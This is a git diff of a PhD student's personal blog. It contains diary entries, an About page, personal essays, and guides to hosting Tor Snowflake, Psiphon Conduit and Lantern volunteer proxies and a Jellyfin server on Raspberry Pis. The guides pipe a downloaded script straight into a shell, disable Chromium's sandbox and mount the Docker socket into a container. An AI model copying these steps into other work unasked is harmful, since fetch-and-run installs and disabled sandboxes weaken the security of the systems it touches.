have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again. + +# 9th +I will be doing literature review today. +Yesteday I didn't manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group's amazing people! +It'll be fun! :) + +Another fun thing is that I will get my very own physical GFW box today. +It's probably the most majestic thing that could've happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess. + +# 13th +Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I'll be having one, at most two courses. + +# 17th +Another unproductive week. +I think this was the worst one actually. +I can't focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX's 3-slide slide deck to enhance my focus, I'll give it a try. + +I also need to address the elephant in the room, and start working on the codebase. + +I also need to look at the GFW files more, and try to find useful stuff there. + +But first I need to work on HTDN's papers, and craft the slides. That is the highest priority on my list. I'll do it. + +--- + +# 31st +It went by. +It went by quickly. +I wasn't able to pick myself up this month, but I won't let it happen in the following. +I want to be truthful, so I won't hide anything. +the only thing is I should've let myself grief a bit, and I did. I'm proud of it. It's fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise. + +Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it's not a bad thing. The problem is I don't have much to present, and that's why this is the content. Idk if I change the structure or not, but for now it is what it is. + +Ok, let's set some goals for next month in advance, then we can see how good we did. +- I want to work on ICMP stuff and make it work nicely. +- I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this. +- I need to keep up with my courses, including the German class. +- I might work more on the GFW leaked data, but I think it's not a priority for me for now. So... scrap this last one. + +{{< sigdl >}} diff --git a/content/PhD_journey/September_2025.asc b/content/PhD_journey/September_2025.asc new file mode 100644 index 0000000..9208c09 --- /dev/null +++ b/content/PhD_journey/September_2025.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBIYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qumYP/3zdbQK9g/VrkXPAQTJB2xhh +ciE9JUIHwfDZ0tHbZKLBjfGHuV3lTSlPIuBc/hueGB9eUFKyXfGjZ7ULvgbL7hR3 +q2jbg71N0GKtI2qooY2P24fxTD4LeZTkIvldcguGdlqTz0q/n/GUITHPYLzc+Lon +K+zkybPeJFUIakFhhSp+WEK+My7A4SZZR7lv3IC0lmeF1MqQiEjQUnifYq4VeOhx +1x8ht4H/hru1HLkZ3G5oQ9fpZ2Xp8cDQZGrRnL/J+SxskyMgszixJTXlbATydIe5 +B4VF3bHuwrBZovcwq+A+RJ0EvtYLBIw99fG6u/3w7emMj2FMr9MWziMJ3bfSVylp +0IMaLkyDCbGh439QkzDbxa9/x+nN9VmcfUzwgL40OfYEFw+8irgnE5m2pHZ4TBKS +Qefvq3YnLmOxRKquf2auL360mUJ9EvM6d7FEzZHxamPTYTKd0VHEodZAPgb8D+yE +Q/GkIROqgSfTWToE67LyHcTrnSm63Q8ovDL3azia6KS8btIwakFisbOfkcihe57K +rktW+JPG++BFDznGs7WzwIjTtDV47TyijxHj3545Vy7sB3O1AawWXTQyorLUVMly +ep2dajvhW5LypB54x8LLM8fUWGOPS+vSL9b8C0cFm4FDiUrGGH8lE6EYBzNJFDUF +m6kVSUHkw4wiQ4x6wyJ5 +=vltM +-----END PGP SIGNATURE----- diff --git a/content/PhD_journey/September_2025.md b/content/PhD_journey/September_2025.md new file mode 100644 index 0000000..92ba367 --- /dev/null +++ b/content/PhD_journey/September_2025.md @@ -0,0 +1,39 @@ ++++ +title = "September '25" +date = 2025-09-30T09:48:21Z +draft = false ++++ + +I started the month by finalizing my draft for Conext Student workshop. +Let's cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I'd have until 30th to do the camera ready stuff which should be plenty of time. + +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too! + +Surprise surprize, the notification did not come and it's the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I've been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October... +Drat! + +I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that's been done so far. + +My social life has been much more exciting too. +I've been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don't have the courage to write about now. ;) +Buuuuuut... I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :) + +And with that, that's my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story! + +--- + +{{< sigdl >}} diff --git a/content/PhD_journey/june_2026.md b/content/PhD_journey/june_2026.md new file mode 100644 index 0000000..9b79202 --- /dev/null +++ b/content/PhD_journey/june_2026.md @@ -0,0 +1,20 @@ ++++ +title = 'June 2026' +date = 2026-06-23T20:00:07Z +draft = false ++++ + +Ok, it's been so so so long! I haven't been writing, once again, because I've been too busy with fixing my life. +Let me summerize these past many months: + +- I finished my coursework for my prep phase +- I was added to a colleagues project and we submited it to IMC +- I submitted a poster to TMA, and I will be present it at the end of this month (June) +- I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. +- I am a tutor at data networks, and I think I'm doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. + + + +--- + +{{< sigdl >}} diff --git a/content/about/_index.asc b/content/about/_index.asc new file mode 100644 index 0000000..5a515a4 --- /dev/null +++ b/content/about/_index.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBIYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qdUoP/3q3aLm3OHFW8Rz2dn9zSg5B +lq/civd92tKb+w7k6PGQLuVwfhtsFQ8m/E2CLaDhkTMEoky3XA0zeLIxd3OzZFNr +su2tylM+AeyGBR221YyS8TxL2Iu/V3B0kJ1S6a3ODcipmrqWdBRIypEAvGMZq225 +eSK0DeBS65ySFknHbdV5dxV32UdIVT36tH+cLn99Ib2NF+mvhUHG9V7yXEe6WW6u +XGlguDo3ui94sqTB+pmba4RIwcN6uq702qO8+4CMrc/45KwQJx7lYmc/Vr4Ppzdw +PQCJTS0YSqOr8BpyYdgf0eGPmzX6TvwMfNEsWCN6HQG/N8b52M99fqYvGL4v5FX6 +3WEHyvjDj6cpHa66G0MIj1pmSZeIg85CgUlE90P3dDHLHE3x0jfHNs6l+qUdK7zn +RNyi/mbfpML/7jb9ia87Voa1ZJ5BdgwKOHUPJ38Z1OGGqN88OvDlnavBTpvNz7KM +P1PGU8ePcwXHRvK80XRSVJTF9hY5Oh4EBCFCKIV5IGPb20XUrp42tVp7MQYneMay +79szGdJkSVGHJ5TA8X0BpAY2Ughf9pTyzEzvs/gwDre8njIHwk40w9HmCYHEHiJX +PvtFHXoKfMvNvZVw2LspxrQV0nyx71jx8cM9t+7sT4pZ6Ri5D8nsXqUuIkwJI97Y +xXQ91IQKCkLmHuk0fBvw +=4p3w +-----END PGP SIGNATURE----- diff --git a/content/about/_index.md b/content/about/_index.md new file mode 100644 index 0000000..13c1159 --- /dev/null +++ b/content/about/_index.md @@ -0,0 +1,99 @@ +--- +title: "About" +summary: "PhD candidate at MPI for Informatics (Internet Architecture group) — human-centered security & privacy." +description: "Iman Alipour — PhD candidate at MPI-INF. Human-centered security & privacy, usable security, and security measurement. Loves CTFs, hiking, coffee experiments, and making everyday gadgets smart." +showToc: false +ShowBreadCrumbs: false +disableShare: true +hideMeta: true +showReadingTime: false +layout: "single" +type: "page" +cover: + image: "pfp.jpeg" + alt: "Iman Alipour" + caption: "" + relative: true + hidden: false +--- + +# Hey, I’m Iman 👋 + +I’m a PhD candidate at the **Max Planck Institute for Informatics (MPI-INF)** in the **Internet Architecture** group. I’m broadly fascinated by how people actually experience security and privacy online—and how we can design systems that protect them without asking for expert knowledge. My current work explores how emerging and existing technologies shape everyday users’ privacy and threaten their security, and how usable defenses can make a real difference. + +I finished my **B.Sc. in Computer Engineering** at **Sharif University of Technology** in 2024, where I explored a mix of **Machine Learning, Systems, Security, HCI, CPS, and IoT**. For my bachelor thesis, I studied **client selection in federated learning** and proposed a reinforcement-learning–based method that balances **accuracy, efficiency, and fairness** while considering data quality and **energy consumption**. + +## What I’m into (research) +- ***Censorship Circumvention*** +- **Human-centered Security & Privacy** +- **Usable Security** +- **Security Measurement** +- **Emerging technologies and their effects on user privacy** + +## A few things I’ve worked on +- **Federated learning client selection (B.Sc. thesis):** A reinforcement-learning approach to optimize accuracy, efficiency, and fairness; accounts for end-user data quality and aims to reduce energy use. +- **Security & privacy perceptions of messaging platforms in Iran:** Investigated trust and distrust in local platforms, identified root causes, and contrasted Iranian vs. non-Iranian platforms. + +## Hobbies & off-screen life +When I’m not chasing down research questions, you’ll likely find me: +- 🎧 **Listening to music** and 🧩 **playing CTFs** +- 📰 **Reading the news** and keeping active—**any sport is fair game** +- 🥾 **Hiking** and 🌄 **sight-seeing** +- ☕ **Experimenting with coffee** and 🍳 **cooking** +- 🎲 **Playing board games** +- 🔧 **Fiddling with electronics**: making everyday tools **smart** and remotely controllable with **micro-controllers**, sensors, and actuators +- 📚 **Reading books** and happily getting lost in **math & physics** problems + +## Quick timeline +- **Aug 2024 – present:** PhD candidate, MPI-INF, Internet Architecture group (Saarbrücken, Germany) +- **Jun 2023 – Jul 2024:** Volunteer remote Research Assistant, InSPIRe Lab, Duke University +- **Sep 2023 – Feb 2024:** Volunteer Research Assistant, CPS Lab, Sharif University of Technology +- **Feb 2023 – Sep 2023:** Volunteer Research Assistant, RADIAN Lab, Sharif University of Technology +- **Jul 2022 – Sep 2022:** Summer Intern, Rasta Scientific Group + +## Teaching I’ve helped with +Advanced Programming (2021) · Probabilities & Statistics (2022) · Operating Systems (2023) · Embedded Systems (2023) · Computer Simulation (two offerings, 2023) + +## Honors +- Silver medal, **Paya Math & Physics League** — Tehran, Iran (Sep 2017) +- **2nd place**, Water Rocket Design Competition — Isfahan’s Math House (Sep 2015) + +## Contact +Max-Planck-Institut für Informatik +Saarland Informatics Campus — **Campus E1 4**, 66123 Saarbrücken +**Office:** E1 4 – 514 · **Phone:** +49 681 9325 3548 + +--- + +## Links +- 🔗 **LinkedIn:** https://de.linkedin.com/in/iman-alipour-b9234723a +- 🐙 **GitHub:** https://github.com/AlipourIm +- 🧩 **TryHackMe:** https://tryhackme.com/p/curiousNF +- 💼 **Work page:** https://www.mpi-inf.mpg.de/departments/inet/people/iman-alipour +- 🔑 **OpenPGP public key (download):** [pgp_public_key](/keys/iman-alipour-pgp.asc) + + +## OpenPGP +**Fingerprint:** `55A2 A5DE 8479 2BAC C6CA EE3F B588 2850 E04C 8D2A` + +{{< pgpkey >}} + +### Verify a post +1. Import my key once: + ```bash + curl -O https://blog.alipourimjourneys.ir/keys/iman-alipour-pgp.asc + gpg --import iman-alipour-pgp.asc + ``` +2. Download the post and its signature (each post links them): + ```bash + curl -O https://blog.alipourimjourneys.ir/sources/posts/hello-world.md + curl -O https://blog.alipourimjourneys.ir/sources/posts/hello-world.md.asc + ``` +3. Verify: + ```bash + gpg --verify hello-world.md.asc hello-world.md + ``` + +--- + +{{< sigdl >}} diff --git a/content/about/pfp.jpeg b/content/about/pfp.jpeg new file mode 100644 index 0000000..6c5efa4 Binary files /dev/null and b/content/about/pfp.jpeg differ diff --git a/content/about/pfp.png b/content/about/pfp.png new file mode 100644 index 0000000..e85e9e8 Binary files /dev/null and b/content/about/pfp.png differ diff --git a/content/archive/face_of_rejection.md b/content/archive/face_of_rejection.md new file mode 100644 index 0000000..8df50f0 --- /dev/null +++ b/content/archive/face_of_rejection.md @@ -0,0 +1,88 @@ ++++ +title = 'Face of Rejection' +date = 2026-05-10T22:46:10Z +draft = false ++++ + +Now that I've had some time to process, I think it's good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f\*\*\* our interactions were, they were not of any use for me. +Like what's the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother's social cycle. +I don't know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm... ok, it still doesn't make sense. +Let me think if I can say it better or not. +Ok, let's say you this person X. +Imagine you interact with person X, talk to them, etc., but then that's it, it is limited to "talking". +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it's fun for many many people, but me... +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don't want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn't seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn't the case, but I'm too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection. + +Now the interesting part is my reaction. "Withdrawal". +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just.... sad. + +Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let's be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don't care how you define friendship. +If it isn't mutual, it isn't good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go. + +I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other's social circle, which to be honest came out super wrong :)))))) +I wasn't trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn't know how to put this into words. +And I did not do it correctly it seems as I got "rejected". +But as my friend says, "better a sad ending, than a never ending sadness". +I wansn't trying to ask her out, but my social skills are so bad that it came so so wrongly. + +I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don't keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I'm not being helped. +If I'm being kept at arms distance. +If I'm being isolated. +I'm no docker process who should be kept isolated. +I'm the kernel module. + +This came out weird coming from me, but it is what it is :) +I should, and need to say "I" sometimes. +I need to assert dominance, to show I'm in control, to show I'm happy, to show everything is fine. + + +--- + +{{< sigdl >}} diff --git a/content/posts/2025_highlight.md b/content/posts/2025_highlight.md new file mode 100644 index 0000000..6160ab8 --- /dev/null +++ b/content/posts/2025_highlight.md @@ -0,0 +1,17 @@ ++++ +title = '2025 Highlight' +date = 2026-01-05T18:53:54Z +draft = false ++++ + +I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work. + +After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend's NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We've been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I'm getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc.. + +Bonus: Remember I said we went to a Sushi place? I've been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I'm so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that "we were eating across the hall, and I noticed how pretty she is!". They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn't want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa. + + +--- + +{{< sigdl >}} diff --git a/content/posts/blackout.md b/content/posts/blackout.md new file mode 100644 index 0000000..d5c0a16 --- /dev/null +++ b/content/posts/blackout.md @@ -0,0 +1,341 @@ ++++ +title = 'Blackout' +date = 2026-01-26T07:21:51Z +description = "I tried to be more useful, but when I couldn't, I found another way." +draft = false ++++ + +Ever since the latest Internet/communication blackout in Iran, I've been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven't opened it again. + +After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so. + +One important vibe check before we start: I’m not giving anyone a custom “backdoor” into *your* network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as **volunteer nodes** inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself. + +# Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) + +I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born. + +So I turned my Pis into helpers. + +This post is about running **three different anti‑censorship tools** on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals: + +- **Psiphon Conduit** – to help Psiphon users automatically +- **Tor Snowflake (standalone proxy)** – to help Tor users automatically +- **Lantern Unbounded** – a browser‑based volunteer bridge, daemonized so it runs forever + +Everything runs headless (or *headless‑ish*), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive. + +--- + +## The philosophy: don’t be a public server, be a volunteer node + +A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house. + +Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX. + +That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”. + +--- + +## What you need (one time) + +This guide assumes Ubuntu on ARM (Pi). It works on a normal server too. + +First, install Docker (because containers are a gift): + +```bash +sudo apt update +sudo apt install -y curl +curl -fsSL https://get.docker.com -o get-docker.sh +sudo sh get-docker.sh +sudo usermod -aG docker $USER +newgrp docker +``` + +Now make yourself a clean playground under `/srv`: + +```bash +sudo mkdir -p /srv/{conduit,snowflake,lantern} +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern} +``` + +I like `/srv` because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am. + +--- + +## Conduit: quietly helping Psiphon users (Docker) + +Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required. + +The important part is persistence. Conduit generates an identity key the first time it runs (`conduit_key.json`), and that identity builds reputation over time. If you lose it, you start from zero again. + +### The file: `/srv/conduit/docker-compose.yml` + +Create it: + +```bash +cd /srv/conduit +vim docker-compose.yml +``` + +Paste this: + +```yaml +services: + conduit: + image: ghcr.io/ssmirr/conduit/conduit:latest + container_name: conduit + restart: unless-stopped + + # Keep keys and state across restarts + volumes: + - ./data:/app/data + + # Optional: if you want a different bandwidth limit / max clients, + # you can pass CLI flags here (these are examples). + # command: ["conduit", "start", "-b", "4", "-c", "8"] +``` + +Then bring it up: + +```bash +docker compose up -d +docker logs -f conduit +``` + +When it’s working, you’ll see things like: + +- `[OK] Connected to Psiphon network` +- periodic `[STATS]` lines with Connecting/Connected counters (that’s your “is anyone using this?” moment) + +If you ever want to stop it: + +```bash +docker stop conduit +``` + +Or “disable but keep everything” (recommended): + +```bash +docker compose down +``` + +Or “delete it from orbit” (not recommended unless you enjoy rebuilding): + +```bash +docker rm -f conduit +``` + +--- + +## Snowflake: Tor, but even quieter (Docker Compose) + +Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes **watchtower** for automatic updates. + +### The file: `/srv/snowflake/docker-compose.yml` + +You can download the official file exactly like this: + +```bash +cd /srv/snowflake +wget -O docker-compose.yml \ + "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads" +``` + +If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML: + +```yaml +services: + snowflake-proxy: + network_mode: host + image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest + container_name: snowflake-proxy + restart: unless-stopped + + # For a full list of Snowflake proxy args, see the upstream docs. + # Example if you ever need it: + # command: ["-ephemeral-ports-range", "30000:60000"] + + watchtower: + image: containrrr/watchtower + container_name: watchtower + restart: unless-stopped + volumes: + - /var/run/docker.sock:/var/run/docker.sock + command: snowflake-proxy +``` + +Start it (with auto updates): + +```bash +docker compose up -d +docker logs -f snowflake-proxy +``` + +If you see: + +```text +Proxy starting +NAT type: restricted +``` + +…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping. + +If you get the “container name already in use” error, it just means you already have a `snowflake-proxy` container from a previous attempt. Fix it with: + +```bash +docker rm -f snowflake-proxy +docker compose up -d +``` + +--- + +## Lantern Unbounded: a browser that helps people (systemd + Xvfb) + +Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”. + +So we cheat — politely. + +We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps. + +### Install what we need + +```bash +sudo apt update +sudo apt install -y xvfb +sudo apt install -y chromium-browser || sudo apt install -y chromium +``` + +### Fix the X11 socket dir permissions (the annoying but essential part) + +If you don’t do this, Xvfb may throw: + +`_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.` + +Fix it once: + +```bash +sudo chmod 1777 /tmp +sudo mkdir -p /tmp/.X11-unix +sudo chown root:root /tmp/.X11-unix +sudo chmod 1777 /tmp/.X11-unix +``` + +### The file: `/etc/systemd/system/unbounded.service` + +Pick your username. On my boxes, it’s either `hub` or `rpi`. Use your actual user. + +Create the service: + +```bash +sudo vim /etc/systemd/system/unbounded.service +``` + +Paste this, and **replace `YOUR_USER`** with your username (e.g. `hub` or `rpi`): + +```ini +[Unit] +Description=Lantern Unbounded (Xvfb + Chromium) +After=network-online.target +Wants=network-online.target + +[Service] +User=YOUR_USER +Environment=DISPLAY=:99 +Environment=XDG_RUNTIME_DIR=/run/user/%U + +ExecStart=/usr/bin/bash -lc '\ + /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \ + sleep 1; \ + $(command -v chromium || command -v chromium-browser) \ + --no-first-run \ + --disable-breakpad \ + --disable-features=TranslateUI \ + --autoplay-policy=no-user-gesture-required \ + --use-fake-ui-for-media-stream \ + --disable-gpu \ + --no-sandbox \ + --app=https://unbounded.lantern.io/ \ + --kiosk \ + --window-size=1280,720 \ + --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \ + --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \ +' + +Restart=always +RestartSec=5 +KillMode=mixed + +[Install] +WantedBy=multi-user.target +``` + +Enable and start: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now unbounded.service +systemctl status unbounded.service --no-pager +``` + +If you see `Active: active (running)`, you’ve won. + +### “It runs headless-ish, but how do I know it’s alive?” + +The simplest “is it on?” checks: + +```bash +systemctl status unbounded.service --no-pager +journalctl -u unbounded.service -f +``` + +And the “is it actually doing network things?” check: + +```bash +sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true +``` + +If you ever want to stop it: + +```bash +sudo systemctl stop unbounded.service +``` + +If you want it not to start on boot: + +```bash +sudo systemctl disable unbounded.service +``` + +--- + +## A note on safety, legality, and expectations + +None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running. + +The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts. + +That’s the part I like. + +--- + +## The quiet satisfaction of it all + +There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t. + +No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by. + +And honestly? That’s enough. + +--- + +## Some rants + +I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we've been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom's face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :( + +This is super sad and frustrating. I've not really been writing anything due to this. When I came back from my congress + Vienna trip, I've been dealing with this situation. It's just annoying. Let's cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh... :( + +--- + +{{< sigdl >}} + diff --git a/content/posts/boredom.md b/content/posts/boredom.md new file mode 100644 index 0000000..8074749 --- /dev/null +++ b/content/posts/boredom.md @@ -0,0 +1,167 @@ +--- +title: "Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4" +date: 2025-12-21T09:30:00+01:00 +draft: false +description: "A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later." +tags: ["raspberrypi", "jellyfin", "tailscale", "docker", "homelab", "movienight"] +showToc: true +TocOpen: true +--- + +Ok. Let me tell you the why first. So.... I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn't hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It's funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself "let't message one of my two best friends", We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. + +I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale. + +This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at. + +## The idea + +Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later. + +The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly. + +## What you need + +My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane. + +## Step one: choose a home for your stuff + +Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers. + +On the Pi, I created a little directory neighborhood under `/srv`: + +```bash +sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin +sudo chown -R $USER:$USER /srv +``` + +If you’re not ready to move movies into `/srv/media` yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup. + +## Step two: install Docker and start thinking in containers + +I installed Docker and verified that `docker compose` worked. After that, everything became a file called `docker-compose.yml` and the comforting feeling that I can rebuild my server from a single folder if life gets weird. + +A typical install flow on Raspberry Pi OS looks like this: + +```bash +sudo apt update +sudo apt install -y ca-certificates curl +curl -fsSL https://get.docker.com | sh +sudo usermod -aG docker $USER +newgrp docker +docker --version +docker compose version +``` + +Now for the part that feels like summoning a friendly daemon. + +## Step three: Jellyfin, running happily in Docker + +In `/srv/compose/jellyfin/docker-compose.yml`, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The 